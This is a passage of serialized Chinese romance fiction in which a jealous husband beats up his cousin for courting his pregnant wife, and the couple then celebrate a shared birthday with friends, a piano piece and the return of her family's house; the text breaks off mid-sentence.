陆京洲没急着去拿,只垂眸扫了眼文件封皮,指尖又无意识地摩挲起茶杯盖,声音没什么温度,“我只负责帮你创造机会,其他的,你自己看着办。还有,记住你说的话,别打不该打的主意。” “表哥,等会儿!”沈思勉凑过来,脸上又露出那副狡黠的模样,“你到时候可得帮我多说几句好话,最好能让她觉得我是个靠谱的人,不是那种登徒子。还有,她怀着孕,你可别让她累着,要是她不想待太久,咱也别硬留。感情这种事情得慢慢培养。” 第129章 想绿他? 陆京洲闻言,眼底瞬间漫开一层毫不掩饰的鄙夷,扯了扯嘴角,发出一声极轻的嗤笑,那笑意里满是不屑,“靠谱?就你这想给人当三的荒唐心思,再怎么装也藏不住骨子里的拎不清。” 沈思勉的脸唰地红了,梗着脖子反驳,“我这是真心实意,总比那些虚情假意的强!” “真心实意也得分对象、分场合。”陆京洲懒得再跟他掰扯,拿起桌上的文件快速翻了两页,确认证件齐全后,将文件扔回公文包,起身理了理西装外套的褶皱,“走,去云深处。别在这耽误时间,要是人到了看你不在,你这‘真心实意’可就没处使了。” 沈思勉被他噎得没话说,只能悻悻地拎起包跟上。 两人一前一后走出沁心园,沿着青石板路往隔壁的云深处茶室走。 晚风带着几分凉意,吹起陆京洲额前的碎发,他下意识抬手按了按,脑子里却忍不住琢磨。 沈思勉嘴里的“女孩”到底是谁?听着描述,怎么总觉得有点不对劲。 莫名觉得和自己老婆有点像是怎么回事儿? 他压下心头的疑虑,脚步没停,只是侧头冷声道,“到了地方安分点,别满嘴跑火车,要是把人吓跑了,老宅到我手上了,拿回去想都别想。” 沈思勉跟在他身后,小声嘀咕,“知道了知道了,我有分寸。” 可眼底那股跃跃欲试的劲儿,却半点没藏住。 云深处茶室的门帘是素色的亚麻布,风一吹就轻轻晃悠。 刚走到门口,就见茶室的伙计迎了上来,恭敬地颔首,“陆总,沈少爷,里面请,已经给二位留了靠窗的雅座。” 陆京洲抬脚迈进茶室,目光扫过室内的陈设,指尖无意识地敲了敲桌子,心里却开始盘算。 等会儿见了人,先应付过沈思勉这茬,得赶紧签了协议,好早点回家陪老婆过生日。 陆京洲在雅座坐下,心神不宁地看了看腕表。 指尖无意识地敲击着桌面,规律的声响却压不住心底那丝越来越重的怪异感。 沈思勉在旁边坐立不安,一会儿摆弄手机,一会儿整理衣领,伸长脖子不停地往门口张望。 “表哥,你说她会不会不来了?”沈思勉压低声音,语气带着紧张。 “闭嘴。”陆京洲心烦意乱,端起茶杯,入口的茶汤温凉,失了该有的香气,他只想快点结束。 就在这时,雅座外传来轻盈的脚步声,以及伙计轻声的指引,“周小姐,这边请。” 门帘被一只素白的手轻轻掀开。 陆京洲闻声抬眼,岑予衿的身影出现在帘后。 她穿着米色连衣裙,外面罩了件浅杏色开衫,乌黑的长发柔顺地披在肩上,脸上的表情淡淡的。 她的是落在满眼放光、几乎要跳起来的沈思勉身上。 然后,缓缓转向了主位的陆京洲。 时间,在这一刻仿佛被按下了静音键。 陆京洲所有的动作都僵住了,蹭一下站了起来,脸上的所有表情那点残余的不耐烦,褪得一干二净,只剩下猝不及防的空白和难以置信的惊愕。 他甚至怀疑自己是不是因为太想回家,出现了幻觉。 岑予衿也懵了,她本来是来和沈思勉谈岑家老宅的转让,怎么会在这里撞见陆京洲? 她下意识攥紧了手机,脚步都顿在了原地,眼底满是错愕,连呼吸都跟着慢了半拍。 只有沈思勉,对这片死寂般的凝滞毫无所觉。 他眼睛一亮,像终于等到主人的小狗,几步就蹿了过去,殷勤地拉开岑予衿对面的椅子,声音里是压抑不住的雀跃,“姐姐你到啦!比我还快呢!快坐快坐,位置都给你留好了!” 他献宝似的指着桌上,“你看,我都提前点好你爱喝的花茶了,还让他们温着呢。表哥,你快过来坐啊,别站着了!” 陆京洲僵立在原地,浑身冰冷,血液仿佛都倒流回了心脏,又被那只无形的手狠狠攥紧、碾碎。 他视线缓慢地、极其艰难地从岑予衿惨白的脸,移到她下意识护在小腹前的手,再落到沈思勉那张写满讨好和期待的脸上。 原来……怀着孕还死心塌,觉得她看不上这种乳臭未干的小孩的人是自己老婆。 原来……沈思勉口中那个“不知道是什么货色”的老公是他陆京洲自己。 他刚才在沁心园说的每一句话,沈思勉说的每一句惊世骇俗的追求宣言,此刻都化作烧红的钢针,一根根,狠狠扎进他的四肢百骸。 呵呵! 沈思勉想绿的人是他! 要撬他的墙角! 拳头越握越紧,额角的青筋突突直跳。 第130章 沈某喜提一顿暴揍 陆京洲胸腔里的火气几乎要冲破天灵盖,可那股火气底下,又莫名掺了点没由来的慌。 盯着自己老婆那张错愕的脸,又扫了眼旁边沈思勉那副没心没肺的殷勤模样。 脑子里不受控制地冒出来的,竟是刚才沈思勉说的话,他今年27,可跟沈思勉这刚二十出头、浑身透着少年气的小子比起来,好像确实少了几分鲜活劲儿。 鬼使神差地想,周芙笙会不会真觉得他老了,觉得沈思勉这愣头青的热情更讨喜? 这么一想,心底那点底气瞬间就散了,只剩下密密麻麻的涩意。 但这念头刚冒出来,就被他强行掐灭。 他是谁?他是陆京洲,是周芙笙法律意义上的丈夫,搁古代的地位是正宫,是她肚子里孩子的父亲,轮得到一个毛头小子在这儿献殷勤? 还想抢着给自己表哥戴绿帽! 陆京洲猛地迈步上前,骨节分明的大手直接攥住了岑予衿的手腕,力道不算重,却带着不容挣脱的强势。 他将人往自己身侧一带,原本冷白的脸沉得像淬了冰,视线却没看岑予衿,而是直直锁着沈思勉,语气里的寒意几乎能冻住茶室里的茶香,“沈思勉,你刚才在沁心园说的那些话,是你内心的真实想法?” 沈思勉被他这突如其来的动作和语气吓了一跳,愣在原地,没反应过来,“表哥,你……你干嘛?” 陆京洲没理他,转而低头看向身侧的岑予衿,指腹无意识地摩挲着她手腕细腻的皮肤,语气却带着几分不容置疑的强势,甚至还掺了点自己都没察觉的委屈和质问,“笙笙,你还没跟这位沈少爷说清楚,我是谁吧?” 他刻意加重了“我是谁”三个字,拇指轻轻蹭过她手腕处凸起的骨节,眼底翻涌着复杂的情绪,有醋意,有慌乱,更有不容置喙的占有欲。 陆京洲一下子将她搂入怀里,抱的紧紧的,像是怕她突然挣脱。 就这几秒钟的功夫,他又开口重复了一遍! “笙笙!”他的声音出奇地平静,甚至带着一丝刻意放缓的温柔,却让岑予衿心头猛地一跳,“不跟你这个想当三的追求者,介绍一下吗?我是谁。” 他特意加重了“追求者”三个字,语气里的讽刺浓得化不开。 岑予衿瞬间读懂了他眼底翻涌的风暴。 他的眼神太复杂,愤怒之外,还有一丝她从未见过的……受伤? 以及更深沉、更让她心悸的东西。 岑予衿听出了他话里的不对劲儿,今天是他的生日,她不想让他不开心,抬手回抱住了他的腰,两人的姿态看起来更加亲密。 陆京洲身体猛的一僵,眼睛都亮了。 沈思勉终于后知后觉地察觉到气氛不对,他看看陆京洲,又看看岑予衿,那份雀跃僵在脸上,慢慢变成了困惑和不安,“表……表哥?姐姐?你们……认识?” 陆京洲像是没听见他的话,依旧只看着岑予衿,甚至往前又逼近了半步,高大的身影带着无形的压迫感,几乎将她笼罩。 他微微俯身,声音压得更低,带着一种近乎磨砂质感的磁性,却又危险十足,“何止认识!宝宝,告诉他。” 他顿了顿,一字一句,清晰无比,“告诉他,站在你面前的这个男人,是谁。” 岑予衿是真的没有想到这个世界这么小。 沈思勉居然是陆京洲的表弟,看这样子,他们俩应该挺熟的。 看着他幼稚又没有安全感的模样,心里莫名觉得有些好笑,但更多的是心疼! 岑予衿抬手轻轻拍了拍他紧绷的脊背,指尖能清晰感受到他身体的僵硬在自己的触碰下慢慢松动。 她仰起脸,声音软下来,带着点无奈又纵容的笑意,“老公,你怎么在这儿?” 这声“老公”轻飘飘的,却像一道惊雷砸在沈思勉头顶。 他眼睛瞪得溜圆,嘴巴张成了“O”形,整个人都傻在了原地,半天没回过神来。 陆京洲却像是被注入了一剂强心针,胸腔里翻涌的火气和那点没由来的慌乱瞬间消散大半,取而代之的是难以言喻的踏实。 他收紧手臂,将岑予衿抱得更紧了些,下巴抵在她发顶,语气里还带着点未消的醋意,却又藏不住得意,“有点事儿需要处理,某个男人想撬我墙角,差点痛失一个老婆?” 不过他是真的有点担心。 沈思勉有句话说的挺对的,谁会不喜欢年轻的? 而且……沈思勉和他完全是不同风格的。 他老婆万一看他看腻了,想偶尔换换口味也不是不可能。 沈思勉那人又特别不要脸,死命的往上贴。 烈女怕缠郎,古话就是这么说的,他是真担心了! 岑予衿无奈地叹了口气,指尖在他后腰轻轻掐了一下,示意他注意分寸,这才转头看向还处在宕机状态的沈思勉。 沈思勉终于从震惊中找回了自己的声音,他指着岑予衿,又指着陆京洲,嘴唇哆嗦着,“姐、姐姐……你是我表哥的……老婆?那你肚子里的……” “是你表哥的孩子。”岑予衿没等他说完,就淡声补全了后半句。 这话彻底击碎了沈思勉最后一丝侥幸,脸色唰地变得惨白,猛地往后退了两步,一屁股跌坐在椅子上,嘴里喃喃自语,“完了完了……我居然想撬我表哥的墙角,还在他面前说那么多浑话……” 沈思勉瘫坐在椅子上愣了半晌,脸上的惨白慢慢褪去,浮出几分执拗的红。 他猛地抬起头,眼神里没了之前的慌乱,反倒透着一股破罐子破摔的莽撞,声音也陡然拔高了几分,在安静的茶室里显得格外突兀,“就算是表哥的老婆又怎么样?” 这话一出,陆京洲搂着岑予衿的手臂瞬间收紧,眼底的温度彻底褪去,寒气直往外冒,连带着周遭的空气都仿佛凝了霜。 岑予衿也蹙紧了眉,下意识往陆京洲怀里缩了缩,没料到沈思勉会说出这么离谱的话。 沈思勉却像是豁出去了,梗着脖子继续道,“我喜欢姐姐是我的事,就算给姐姐当三,我也认了!反正我是真心的,比表哥这种烂桃花多如牛毛,天天传绯闻,连陪姐姐的时间都没有的人真心多了!” 他说着,还往前凑了凑,视线直直落在岑予衿身上,语气里带着点自欺欺人的笃定,甚至还扬起了下巴,刻意强调,“更何况,我比表哥年轻!我才二十出头,浑身都是劲儿,能时时刻刻陪着姐姐,哪像表哥你,都二十七了,早就没了年轻人的鲜活气,姐姐跟着你多闷啊!” 话音未落,他又补了句更离谱的话,声音里还带着几分莫名的仗义,“还有,表哥的孩子……那以后生下来,也能喊我一声叔叔,我疼他们、护他们,跟我自己的孩子也没两样!我不在乎名分,只要能守着姐姐和孩子就行!” “闭嘴!”陆京洲的声音冷得像淬了冰,额角的青筋突突直跳,几乎是咬着牙挤出这两个字,大手攥着岑予衿的手腕,指节都泛了白,“沈思勉,你是不是脑子进水了?分不清长幼尊卑,也分不清什么叫礼义廉耻?” “我只是追求自己喜欢的人,有什么错?”沈思勉还在犟嘴,丝毫没察觉到陆京洲已经到了爆发的边缘。 他挺直腰板,又把那点年龄优势搬出来,“我就是比你年轻!这是事实!姐姐要是跟我在一起,肯定比跟着你自在!” 岑予衿实在听不下去了,她从陆京洲怀里抬起头,脸色冷了下来,看向沈思勉的眼神里满是疏离,“沈先生,我想你是误会了。我和我老公感情很好,而且我明确告诉你,我绝不会做出背叛家庭和婚姻的事,你的想法从一开始就错得离谱,以后也不必再说这种话了。” 可沈思勉压根听不进劝,反而觉得岑予衿是碍于陆京洲在场才这么说,他往前又挪了半步,还想再说什么。 陆京洲直接抬腿一脚踹在旁边的椅子上,椅子“哐当”一声撞在墙上,发出巨大的声响,吓得沈思勉瞬间噤了声。 “你TMD!我今天废了你。”陆京洲的眼神狠戾得吓人,抱着岑予衿的手愈发紧,语气里满是决绝。 陆京洲那一脚踹翻椅子的巨响,像一记重锤砸碎了茶室最后一丝平静。 他将岑予衿小心安置在远离战圈的软榻旁,甚至顺手抽了个靠垫垫在她腰后,动作细致温柔,与下一秒转身时眼中迸射出的骇人戾气形成了冰火两重天的对比。 “阿洲……”岑予衿想拉住他,她不是担心沈思勉,而是怕陆京洲气头上出手太重,惹上不必要的麻烦。 陆京洲回头,给了她一个极短暂、却异常深沉的眼神,那眼神里写着“交给我”和“必须如此”。 随即,他猛地转回身,几步就跨到了刚刚被巨响吓得瑟缩了一下的沈思勉面前。 “表哥,你……你想干什么?我告诉你,我就是喜欢你老婆……怎么样?” 沈思勉看着陆京洲近在咫尺,绷紧的下颌线,视线往往上移。 和他那双淬了寒冰般的眼睛对视之后,咽了咽口水,本能的恐惧,一边后退一边色厉内荏地喊道,“姐姐是不可能喜欢像你这么残暴的男人的!” 陆京洲满不在乎的哼了一声,活动了一下关节,指关节咔咔作响,“是吗?” 第131章 咱们仨把日子过好比什么都强! 陆京洲扯了扯嘴角,那笑意冰冷刺骨,“教训自家不知死活,觊觎表嫂的混账东西,陆家的家法,够不够?” 话音未落,他根本不给沈思勉再开口的机会,左手闪电般探出,一把攥住了沈思勉的衣领,猛地将人往前一拽! 沈思勉只觉得一股巨力袭来,整个人不受控制地被扯得踉跄向前。 陆京洲没有给他反应的机会,右手握拳,指骨捏得咔吧作响,裹挟着凌厉的风声和压抑已久的滔天怒意,狠狠砸在了沈思勉的嘴角! “唔——!”沈思勉痛呼一声,脑袋被打得偏向一边,嘴里瞬间弥漫开浓重的铁锈味,眼前金星乱冒。 陆京洲的声音低沉森冷,像刀子一样刮过沈思勉的耳膜,“这一拳,叫你觊觎我老婆!” 沈思勉被打懵了,下意识想反抗,可他那些三脚猫的功夫在从小受过严格格斗训练的陆京洲面前,简直是儿戏。 陆京洲甚至没有松手,攥着他衣领的左手顺势往下一压,右膝猛地抬起,狠狠顶在他的胃部! “呃啊!”沈思勉痛得弓起身子,胃里翻江倒海,差点把隔夜饭都吐出来。 “这一下,叫你想给我戴绿帽子!”陆京洲的声音没有丝毫起伏,只有冰冷的怒火在燃烧。 他松开膝盖,在沈思勉因为剧痛而无力直起身的瞬间,又是一记凶狠的勾拳,结结实实地砸在他的颧骨上! “砰!”皮肉撞击的闷响令人牙酸。 沈思勉半边脸瞬间肿了起来,鼻血长流。 “这一拳,叫你想给我孩子当爹!”陆京洲字字诛心,每一拳都带着被触犯逆鳞的暴怒和极致的羞辱。 他松开已经有些瘫软的沈思勉的衣领,在他失去平衡向后倒去时,又迅速补了一脚,踹在他小腿胫骨上。 沈思勉彻底失去了抵抗能力,像一滩烂泥般摔倒在地,蜷缩着身体,发出痛苦的呻吟,脸上涕泪血糊成一团,狼狈不堪。 陆京洲居高临下地看着他,胸膛微微起伏,气息却并不凌乱。 他抬手,慢条斯理地整理了一下因为动作而微微松开的袖口,眼神冰冷,如同在看一坨垃圾。 “年轻?”他嗤笑一声,语气里的讽刺能冻死人,“二十出头,浑身是劲儿?就你这点本事,也配在我面前提‘年轻’?” 他蹲下身,一把揪住沈思勉的头发,强迫他抬起那张惨不忍睹的脸,直视自己冰冷的目光。 “沈思勉,你给我听清楚,也记牢了。”陆京洲的声音压得很低,却带着不容置疑的威压,“周芙笙,是我陆京洲的命。你敢碰她一根手指头,敢动一点歪心思,今天这顿打,只是个开始。” “你那些幼稚可笑的真心,留着去地底下跟阎王爷说。” 他松开手,任由沈思勉再次瘫软下去,“从今往后,别让我在京城,不,别让我在任何你能出现的地方,再看见你。滚回你该待的地方去,夹紧尾巴做人。否则,我不介意让你沈家少一个不长眼的子孙。” 说完,他不再看地上瑟瑟发抖的沈思勉,站起身,走向一直担忧地看着这边的岑予衿。 走到她面前时,周身那股骇人的戾气瞬间收敛得干干净净,仿佛刚才那个下手狠戾,言语冰冷的男人只是幻觉。 他伸手,指腹轻轻擦过她微凉的脸颊,语气已经恢复了平日的沉稳,只是还带着一丝未消的余怒和后怕。 “没事了。”他低声道,握住她的手,“脏了手,回去洗洗。” 岑予衿看着他,目光落在他微微泛红的指节上,又越过他的肩膀,看了一眼地上瘫着的沈思勉,终究没说什么,只是轻轻回握了他的手,点了点头。 陆京洲揽着她,头也不回地离开了云深处。 留下茶室里一片狼藉,和一个瘫在地上的沈思勉。 晚风清凉,吹散了茶室里的血腥气。 陆京洲握着岑予衿的手,走在回家的路上,掌心温热。 他知道,今天的行为或许有些过激,但对付沈思勉这种拎不清又胆大包天的混账,唯有如此,才能一劳永逸,彻底斩断他所有不切实际的念头。 他的老婆,他的家,不容任何人觊觎和侵犯。 谁碰,谁死。 岑予衿看着一言不发的某个男人心里软的一塌糊涂。 今天做蛋糕的时候还说,一定要让他过一个特别难忘的生日,没想到惊喜没有,惊吓先来了。 这个生日应该也挺难忘的。 “阿洲,你放心,就算他想给我当三,我也看不上他!他就是个乳臭未干的小屁孩,哪有你帅?” 岑予衿最清楚该怎么顺毛。 “可是他比我年轻!”陆京洲的声音带着一点自己都未曾察觉的委屈。 岑予衿被他这句带着委屈的控诉弄得心尖一软,又觉得有些好笑。 平日里谁都不放在眼里的二世祖,居然也会在年轻这种问题上钻牛角尖,还……这么可爱。 她停下脚步,站在青石板路上,转过身,正对着他。 他微微垂着眼,浓密的睫毛在眼下投下一小片阴影,薄唇抿着,明明刚才揍人时狠戾得不行,此刻却偏偏透着一股说不出的……孩子气。 岑予衿抬起手,指尖轻轻抚过他紧蹙的眉心,将那点褶皱抚平。 “年轻?”她重复了一遍,尾音微微上扬,带着点调侃,“阿洲,你是在跟我撒娇吗?你就比我大2岁,哪里老了?” 陆京洲身体微不可查地僵了一下,耳根悄然漫上一抹不易察觉的红,却强撑着没躲开她的手,只从鼻子里低低“哼”了一声,算是默认,又像是不满。 岑予衿眼底的笑意更深了。 她踮起脚尖,双手捧住他的脸,让他不得不低下头,与自己对视。 “看着我,陆京洲。”她声音轻轻的,却很认真。 陆京洲目光沉沉地落在她脸上,看到她眼中清晰的自己的倒影,也看到她眼底毫不掩饰的爱意和笃定。 “我喜欢的,从来不是年轻这两个字。”岑予衿一字一句,说得缓慢而清晰,“我喜欢的是你,陆京洲。是你这个人,你的全部。” “我喜欢你处理工作时专注沉稳的样子,喜欢你偶尔流露出的孩子气,喜欢你把我护在身后时的霸道,也喜欢你……像现在这样,为我吃醋,为我感到一点点不确定的样子。” 她说着,指尖轻轻滑过他的眉骨,鼻梁,最后停在他紧抿的唇边。 “沈思勉是年轻,可他那叫幼稚,叫不懂事,叫拎不清。”她顿了顿,语气里带上一丝嫌弃,“而你……” 她凑近他,温热的呼吸拂过他的唇畔,声音压得更低,带着蛊惑般的柔软: “你这样的,才叫成熟,叫魅力,让我……心动不已。” 话音落下,她不再给他反应的时间,微微仰头,柔软的唇瓣便印上了他微凉的薄唇。 这是一个轻柔的吻,不带任何情欲,只有满满的安抚与肯定。 她在用最直接的方式告诉他——你的一切,都是我深爱的模样。 陆京洲的身体彻底僵住,那点不安消失殆尽。 他本能地反客为主,在她想要退开时,大手扣住她的后脑,加深了这个吻。 不同于她的轻柔,他的吻带着一点点惩罚性的霸道,攻城略地,攫取着她的呼吸和甜蜜。 晚风似乎都变得缠绵,轻轻拂过相拥的两人。 直到岑予衿有些缺氧,轻轻推了推他的胸膛,陆京洲才意犹未尽地松开她,额头相抵,呼吸交缠。 他的眼神亮得惊人,像落入了万千星辰,哪里还有半分刚才的冰冷和委屈。 “再说一遍。”他哑着嗓子要求,拇指摩挲着她微肿的唇瓣。 “说什么?”岑予衿脸颊微红,气息还有些不稳。 “说你喜欢我这样的‘老男人’。”陆京洲刻意加重了那三个字,眼底却漾开笑意。 岑予衿噗嗤一声笑了出来,抬手捶了他胸口一下,“幼稚!” “快说。”他不依不饶,凑近她耳边,湿热的气息喷洒在她敏感的肌肤上,“不说……我就继续亲,亲到你说为止。” “好好好,我说!”岑予衿怕了他这无赖劲儿,赶紧投降,搂住他的脖子,在他耳边清晰又响亮地宣告,“我最喜欢陆京洲了!就喜欢你这样的!别人再年轻,在我眼里都比不上你一根头发丝!满意了吗,陆·醋坛子·先生?” 陆京洲终于低低地笑出声来,那笑声是从未有过的愉悦和满足。 他一把将她打横抱起,惊得岑予衿低呼一声,连忙环住他的脖子。 “带你去个地方!”他抱着她,步伐稳健地朝车子的方向走去,声音里带着餍足和不容置疑。 “去哪儿?” 陆京洲笑着点了点她的鼻尖,“到了就知道了,不许拒绝!” “可是……” 家里还准备了惊喜。 “放心跟我走什么话都不要说好吗?” 岑予衿拉着他的手停在原地,“12点之前能回家吗?” 陆京洲想了想自己的计划,点了点头,“绝对可以。” 说完没给她反应的机会,抱着塞进了副驾驶。 第132章 老婆,生日快乐 陆京洲将车开向了城郊一处私密性极高的湖畔会所。 夜晚的湖面倒映着漫天星辰与会所内温暖的灯火,与预想中的寒风料峭不同,车刚停稳,岑予衿就感觉到一股暖意融融的气息扑面而来。 她惊讶地发现,整个露天的空间都被透明的恒温玻璃幕墙巧妙围合,既保留了无遮无拦的开阔视野,又隔绝了夜风的侵扰。 地面铺设着暖色调的木地板,踩上去温润舒适,空气中弥漫着淡淡的茉莉花香,是她最爱的味道。 “阿洲,这里是……”岑予衿被眼前的景象惊住了。 陆京洲牵起她的手,目光温柔,“老婆,生日快乐!” 话音刚落,“砰”、“砰”几声轻响,礼花筒炸开,漫天的花瓣散落。 与此同时,熟悉的欢笑声传来。 “Surprise!寿星驾到!”苏乐言第一个蹦出来,手里拿着两支闪闪发光的仙女棒,笑容灿烂地扑过来抱住岑予衿。 岑予衿到现在都是蒙的,今天是自己生日吗? 她都已经忘了有多久没过过生日,也不会刻意的去记这个日子,这个日子对她来说真没有什么值得纪念的。 20岁生日那天,就是岑家破产的日子…… 所以她和陆京洲是同一天生日? 她是视线落在陆京洲的身上,看见他单手插兜,同样看着自己,眼里闪着细碎的星光。 心像是被狠狠的撞了一下,那种感觉,她说不明白,只知道很舒服。 她似乎有了除爸妈以外在意她的人,那个是陆京洲! 程凌晟和傅星驰也从光影中走出。 程凌晟依旧是一副玩世不恭的公子哥模样,手里晃着香槟杯,笑道,“嫂子,京洲为了你这生日,可是把压箱底的浪漫细胞都掏出来了,差点没把我们这几个‘顾问’给折腾死。” 傅星驰则稍微稳重些,但也没好到哪去,微笑颔首,“嫂子,生日快乐。” 岑予衿看着眼前精心布置的一切,眼眶有些湿润,手足无措的根本不知道自己该干什么。 鲜花环绕的长桌,上面摆满了她爱吃的菜肴和精美的蛋糕。 舒适的沙发区,毛茸茸的毯子随手可及。 甚至还有一个小型的投影幕布,正在缓缓播放她的照片,很多是自己都没有见过的。 她的眼眶瞬间就热了,回头看向陆京洲。 陆京洲只是淡淡笑着,将她被苏乐言松开后有些微凉的手重新攥进自己温热的掌心,“想跟你过一个很难忘的生日,沈思勉那个插曲不算,这才是正餐,生日快乐。” 苏乐言挤眉弄眼,“就是!那种不长眼的小屁孩,提他都扫兴。快来看看我们给你准备的礼物!” 程凌晟起哄,“对对对,先看礼物,再看京洲给你藏的终极惊喜!” 傅星驰含笑补充,“我可以作证阿洲是最了解你的那个。” 在好友们热热闹闹的簇拥下,岑予衿拆开了礼物。 苏乐言送的是一整箱的成套首饰,粉宝,蓝宝,红宝,粉钻,蓝钻,黄金…… 她这生日礼物送的很贴心,可以说是把她所有衣服能搭的首饰都包了! 程凌晟和傅星驰也不知道她的喜好,一个送了一台游轮,另一个则是套海景别墅。 他俩送这礼物的时候还相互商量了一下,游轮和海景别墅超级搭! 地段什么的都是挑的最好的。 每一份礼物都别具心意,但岑予衿知道,最用心的,还是身边这个一直握着她的手,目光几乎没离开过她的男人。 “好了好了,我们礼物看完了,现在是不是该……”程凌晟故意拉长声音,和傅星驰,苏乐言交换了一个心照不宣的眼神。 陆京洲先扶着她到沙发上坐下,自己则是走到了不远处的钢琴旁。 在琴凳上坐下,先试了几个音。 侧过头,隔着不远的距离朝岑予衿望来,唇角勾起一抹温柔的弧度,随即修长的手指落在了黑白琴键上。 第一个音符流淌而出,轻快、灵动,像春日的溪流潺潺穿过心田。 旋律是陌生的,却带着一种奇异的熟悉感,仿佛早已在心底哼唱过千百遍。 琴声跳跃着,描绘着初遇时那一瞥的心动,又像是午后阳光下,慵懒而甜蜜的对视。 岑予衿屏住了呼吸,眼睛一眨不眨地望着他。 他微垂着眼睫,神情专注,平日里那份掌控一切的沉稳此刻全然化作了指尖的柔情蜜意。 音符串成晶莹的珠子,一颗颗滚落,敲在她的心上。 弹钢琴的他,是她从未见过的。 苏乐言捂着嘴,激动地碰了碰岑予衿的胳膊,用气声说,“衿衿,你真是遇到十全十美的人了!你老公自己写的!特意给你写,名字就叫《甜甜》!” 旋律时而活泼俏皮,时而舒缓悠长。 中间有一段变奏,节奏放得更缓,音符变得更加缠绵悱恻。 陆京洲在这段旋律中抬眸,再次看向她,眼神里的星光几乎要溢出来,与琴声交织,将她温柔包裹。 最后几个音符轻轻落下,余韵在恒温的玻璃幕墙内袅袅回荡,与湖面的星光灯火悄然应和。 世界安静了一瞬。 陆京洲起身,没有立刻走回,而是就着那束光,朝她伸出手。 岑予衿早已忘了周围含笑注视的朋友,忘了脚下温暖的地板,忘了空气中她最爱的茉莉香。 她只看见他,只听见自己心里那同样名为“甜甜”的旋律轰然作响。 她起身,脚步有些发软,却坚定地走向他,将自己的手放入他的掌心。 他握住,轻轻一拉,将她带进怀里,低头在她耳边,用只有两人能听见的声音,伴着未尽的爱意呢喃,“生日快乐老婆!这是我送给你的第一份生日礼物,我写的,只给你!” 岑予衿看着他的操作,自己在家里面做的那些,在他面前根本不值一提。 一下子拥住了他,将他抱得紧紧的,“阿洲,谢谢你,我……很喜欢,这是我过的最快乐,最难忘的一个生日。” 陆京洲笑着摸了摸她的头,“这就满足啦?” 岑予衿歪头有些不解的看向他,“还有吗?” “当然!” 陆京洲从钢琴上方拿了,一份文件,郑重的交到她手里。 岑予衿不知道具体是什么,却还是接了,心跳已经乱了节奏。 第133章 阿洲,生日快乐! 文件被缓缓打开。 岑予衿在看到是岑家老宅的地契时,眼泪还是没忍住落了下来。 陆京洲只想让她开开心心的过生日,不曾想把她弄哭了,愧疚的手足无措,小心翼翼的替她擦脸上的泪水,“我不知道跟沈思勉买老宅的是你,如果知道是你,我就不跟你抢了。” “别哭,幸好是我买的,它还是回到了你手里。” 陆京洲看着她眼泪流的越来越凶,自己用手擦已经擦不干,一把将她搂进怀里,摁在自己的衣服上,“我知道你和岑小姐关系很好,拿回属于他的老宅,是我能想到最有意义的生日礼物了,没想到会把你弄哭。” “阿洲,谢谢~我很喜欢。这是我收到最好的生日礼物了。” 岑家老宅以生日礼物的形式回到了她的手里,这是她做梦都没想到的。 岑予衿把脸埋在他温暖的胸口,听着他沉稳有力的心跳,那心跳的节拍,似乎正与她心底回荡的旋律渐渐重合。 这一刻,二十岁生日那天的阴霾与寒冷,被彻底驱散、融化,取而代之的,是满得快要溢出来的甜,是陆京洲替她筑起来的世界。 陆京洲轻轻抚着她的后背,抬眼望向玻璃穹顶之外璀璨的星河,又环视这方为她精心打造的小小温暖世界,最后目光落回怀中人微颤的发顶。 “笙笙,你的每一个生日,从今往后,都只会是甜的。” 陆京洲并没有催她,就这么单手搂着她,等她稍微平静下来一些才开口,“老婆,咱们一起切蛋糕吧。” 岑予衿吸了吸鼻子,重重的点了点头,“好!” 陆京洲替她插上二十五岁的蜡烛,“快许愿吧!” 岑予衿仰头看着他,握住了他的手,“你跟我一起可以吗?” 陆京洲不知道她为什么要这么说,却知道今天她是寿星他最大,“当然可以。” “那我们一起许愿,一起吹蜡烛,一起切蛋糕。” “好!” 陆京洲听她的话,握着她的手,闭上了眼睛。 陆京洲:希望笙笙不要孕反,平平安安的生下健康的宝宝! 岑予衿:希望陆京洲能拿回属于自己的一切,平平安安,健健康康,岁岁无忧! 两人几乎是同时睁开了眼睛,在几人的起哄声中吹了蜡烛。 陆京洲掌心覆在岑予衿微凉的手背上,带着她握住银质蛋糕刀。 锋利的刀刃切入奶油层,绵密的奶油被划开一道整齐的弧线,混着夹层里的草莓果肉,散出淡淡的甜香。 穹顶的星光透过玻璃洒在蛋糕上,烛光摇曳着映亮两人交叠的手,也晃进岑予衿泛红的眼眶里。 等她睁开眼,陆京洲正低头看她,眼底盛着化不开的温柔。 蛋糕刀已经切到蛋糕底部,他微微用力,将第一块蛋糕分出来,刚要递到她唇边,却听见她忽然抬声,声音还带着哭过的沙哑,却格外清晰,“阿洲,生日快乐!以后每个生日咱们都要一起过!” 陆京洲的动作猛地顿住,握着蛋糕刀的手几不可察地僵了一下。 他眉心微蹙,脑子里飞速掠过日期,这才后知后觉地反应过来,今天确实也是他的生日。 可谁也不知道! 真的连程凌晟和傅星驰也不知道。 这些年他早已习惯了不过生日,连自己都快忘了这个日子,却被她记在了心上,“你怎么知道?” 他喉结滚动了一下,低头看向岑予衿,眼里还挂着未干的泪珠,嘴角却扬着软乎乎的笑,烛光在她眼底碎成星光,“刚知道的,没来得及准备生日礼物。” 陆京洲一下子拥住了她,“今年我已经收到最好的生日礼物了。” 有人记得他的生日。 他有了喜欢的人。 有了属于他俩的宝宝。 还是两个! 已经足够了,他真的不贪心。 陆京洲还准备其他的礼物,不过那礼物只能回到檀月山庄给她,切了,蛋糕也没再多留。 带着岑予衿先回了家。 岑予衿也给他准备了惊喜,她说要回家,也没有反驳,跟着一块回去。 陆京洲回到家才发现,房间里的灯居然是暗的。 他不敢让老婆在往里走,将她护在自己身后,“媳妇儿,你在这儿等下,吴妈他们怎么连灯都不开,这都这么晚了,这么黑,万一你磕着碰着了怎么办?还怀着宝宝呢,明天我一定说他们。” 岑予衿是真的没想到他会这么说。 她是想着给他一个惊喜。 这是他们在一起的第一个生日,她就做好了准备。 “咱们不差钱儿,没必要省这几块钱的电费,在这等我一下昂,我去开灯。” 陆京洲一再叮嘱她不要乱动,才去开灯。 陆京洲的手指按下开关。 “啪嗒。” 预想中的明亮并未立刻到来,而是几簇暖黄的光源次第亮起。 不是主灯,是错落悬挂在房间各处的星星灯串,还有摆放在地面,桌面上的香薰蜡烛。 柔和的暖光瞬间铺满整个空间,照亮了眼前的一切。 花瓣铺成的小径从门口蜿蜒向内,两侧是高低不一的水晶柱灯,光影摇曳。 数不清的淡金色与乳白色气球簇拥在天花板下,丝带轻垂。 墙壁、玻璃窗、甚至家具的边角,都贴着或挂着“Happy 